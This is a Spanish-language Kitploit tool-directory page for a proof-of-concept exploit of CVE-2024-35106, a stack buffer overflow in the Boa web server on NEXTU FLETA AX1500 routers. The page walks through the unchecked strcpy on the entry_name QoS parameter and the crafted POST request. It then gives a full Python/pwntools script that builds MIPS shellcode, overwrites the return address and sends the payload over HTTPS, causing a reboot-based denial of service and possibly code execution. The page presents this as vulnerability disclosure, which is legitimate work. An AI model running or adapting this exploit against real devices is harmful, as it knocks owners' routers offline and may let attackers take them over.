Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-35106-POC — Exploit de prueba de concepto para CVE-2024-35106, un desbordamiento de búfer de pila en el router Wi-Fi 6 NEXTU FLETA AX1500. Demuestra denegación de servicio y posible ejecución remota de código mediante una solicitud POST manipulada al manejador IP QoS del servidor web Boa. | Kitploit
Herramientas/GitHubGitHub/laskdjlaskdj12/cve-2024-35106-poc
Seguridad de Sistemas EmbebidosSeguridad IoTExplotaciónShellcodeExplotación de Aplicaciones WebSeguridad de Hardware e IoTDesarrollo de PayloadsExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHublaskdjlaskdj12/cve-2024-35106-poc

CVE-2024-35106-POC

Exploit de prueba de concepto para CVE-2024-35106, un desbordamiento de búfer de pila en el router Wi-Fi 6 NEXTU FLETA AX1500. Demuestra denegación de servicio y posible ejecución remota de código mediante una solicitud POST manipulada al manejador IP QoS del servidor web Boa.

Ver Repositorio
13hace 1 añoAún no revisado

NEXTU FLETA Router Wifi6 DOS, POC de RCE Potencial

Este documento describe cómo se llevó a cabo el exploit en el router WiFI EZNET FLETA a través de la vulnerabilidad CVE-2024-35106.

Información de la vulnerabilidad

[ID de CVE] CVE-2024-35106

[Fabricante del Producto] NEXTU

[Producto] FLATA AX1500 Wifi6 Router

[Versión] 1.0.3

[Tipo de Vulnerabilidad] Desbordamiento de búfer

Entorno de Ejecución

El router opera en una arquitectura MIPS basada en un chipset Realtek y little-endian.
La versión del firmware del router es v1.0.3.

Este router utiliza el servidor web embebido Boa, cuya última versión fue en 2005. Sin embargo, este router utiliza el servidor web Boa para el servicio de la página web de administración que controla el firmware del router.

Condiciones de Ejecución de la Vulnerabilidad

Las condiciones necesarias para desencadenar la vulnerabilidad son las siguientes:

  1. El router debe estar en su estado predeterminado de fábrica o el usuario debe haber iniciado sesión.
  2. Se deben haber guardado previamente diez reglas QoS.
  3. Antes de ejecutar el exploit, se debe acceder a la página IP QoS (ip_qos.htm) a través del panel web.

Punto de Ocurrencia de la Vulnerabilidad

Se produce un desbordamiento de búfer en la pila debido a la falta de verificación de la longitud en bytes del nombre de la regla IP QoS al configurar QoS para una IP interna en la página de administración web del router.

Cuando los parámetros de la solicitud de configuración IP QoS se pasan a la función manejadora formIpQoS de Boa, el manejador extrae la longitud en bytes del parámetro "entry_name" y la copia en la variable acStack_1c0 usando la función strcpy(). Pasted image 20250207042056

En esa función, la función strcpy se utiliza para copiar el búfer sin verificar el tamaño del búfer. Pasted image 20250207042120

Debido a que la variable acStack_1c0, que almacena el binario del parámetro entry_name copiado, tiene un tamaño fijo de 16 bytes, el uso de la función strcpy() —que no limita el tamaño de los datos que se copian— resultará en un desbordamiento de búfer. Pasted image 20250207042349

Pasted image 20250207042359

Flujo de Explotación de la Vulnerabilidad

La solicitud POST y los parámetros del vector de ataque son los siguientes.

POST /boafrm/formIpQoS  
  
BODY  
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]

Un atacante prepara un binario que incluye dos cosas: código binario arbitrario y una dirección arbitraria, y lo coloca en el parámetro entry_name de la solicitud POST.

Por lo tanto, la dirección RET, que se encuentra en la dirección de memoria de la pila del manejador formIpQos, se sobrescribe con una dirección arbitraria debido al desbordamiento de la pila.

Pasted image 20250207042541 (0x7f8548cc es la dirección RET de la pila del manejador formIpQoS)

Sin embargo, dado que la función manejadora debe completar su ejecución normalmente, se deben guardar previamente 10 conjuntos de reglas IP QoS. Pasted image 20250207042613

POC de la Vulnerabilidad

from pwn import *  
from hackebds import *  
  
  
def shutdown_shell_code():  
    context.update(arch='mips', os='linux', bits=32, endian='little')  
  
    cmd = "/bin/sh"  
    args = ["autoreboot"]  
  
    asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()  
    shellcode = asm(asmcode)  
    return shellcode  
  
  
power_off_code = shutdown_shell_code()  
  
gap_code = (b'A') * 0x138

# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')  
stack_gap = (b'C') * 0x40  
  
print("power_off_code_length")  
print(len(power_off_code))  
  
final_code = power_off_code + gap_code + RET_address + stack_gap  
  
import socket  
import ssl  
  
# Server Address and Port  
HOST = '192.168.1.254'  
PORT = 443  
  
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()  
context.set_ciphers('HIGH:!DH:!aNULL')  
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE  
  
with socket.create_connection((HOST, PORT)) as sock:  
    with context.wrap_socket(sock, server_hostname=HOST) as ssock:  
            # Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
  
        # parameter for evade verification  
        send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code  
  
        # POST request headers 
        headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \  
                  b"Host: " + HOST.encode('utf-8') + b"\r\n" \  
                                                     b"Content-Type: application/octet-stream\r\n" \  
                                                     b"Content-Length: " + str(len(send_byte)).encode(  
            'utf-8') + b"\r\nConnection: close\r\n\r\n"  
  
        # Send request (combine headers and body)  
        ssock.send(headers + send_byte)  
  
        # Receive response  
        response = b""  
        while True:  
            data = ssock.recv(1024)  
            if not data:  
                break  
            response += data  
  
            #Print response  
        print(response.decode('utf-8'))

Tenga en cuenta que, al ejecutar este POC para la vulnerabilidad, definitivamente causará un DOS. Sin embargo, puede que no ocurra una ejecución remota de código arbitrario.

Problemas de Impacto Planteados

Esta vulnerabilidad puede ser explotada para ataques DOS y posibles ataques RCE.

Cronología

2024-05-16: Número CVE asignado - CVE-2024-35106
2024-05-16: Vulnerabilidades reportadas a los fabricantes
2024-06-05: Respuesta de los fabricantes sobre las vulnerabilidades

Descubridor

Ku In Hoe

Ayuda para registrar esta vulnerabilidad

Profesor Asistente Seonghoon Jeong (Universidad Femenina de Sookmyung)

Descargar herramienta